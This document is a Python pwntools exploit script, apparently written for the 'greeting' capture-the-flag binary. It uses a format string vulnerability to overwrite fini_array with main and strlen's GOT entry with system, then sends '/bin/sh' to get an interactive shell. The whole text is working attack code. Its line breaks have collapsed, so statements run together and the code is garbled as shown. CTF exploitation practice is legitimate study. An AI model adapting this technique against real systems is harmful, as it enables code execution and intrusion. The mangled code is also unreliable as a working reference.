```python#!/usr/bin/env python3from pwn import *from sys import argv
context(os='linux', arch='i386', log_level='info')FILE_NAME = 'greeting'
if len(argv) > 1:    if argv[1][0] == 'd':        gdb_cmd = """set follow-fork-mode parentset $fa = 0x8049934# printfb * main + 98c      """        r = gdb.debug([FILE_NAME], gdb_cmd)else:     r = process(FILE_NAME)
fini_array_addr = 0x8049934system_plt_addr = 0x8048496main_addr = 0x80485edstrlen_got_addr = 0x8049a54
# make payloadmsg_header = b"Nice to meet you, "offset = 12
## adjust 2byte for FSB payload = b"AA"
payload += p32(fini_array_addr)payload += p32(strlen_got_addr)
## fini_array <- mainpayload += "%{}c%{}$hhn".format(0xed  - len(payload) - len(msg_header), offset).encode()offset += 1
## strlen <- systempayload += "%{}c%{}$n".format(system_plt_addr - 0xed, offset).encode()log.info("payload length -> {}".format(len(payload)))
# attacklog.info("fini_array <- main & strlen <- system")r.sendlineafter("Please tell me your name... ", payload)pause(10)
r.sendlineafter("Please tell me your name... ", b"/bin/sh\x00")r.interactive()```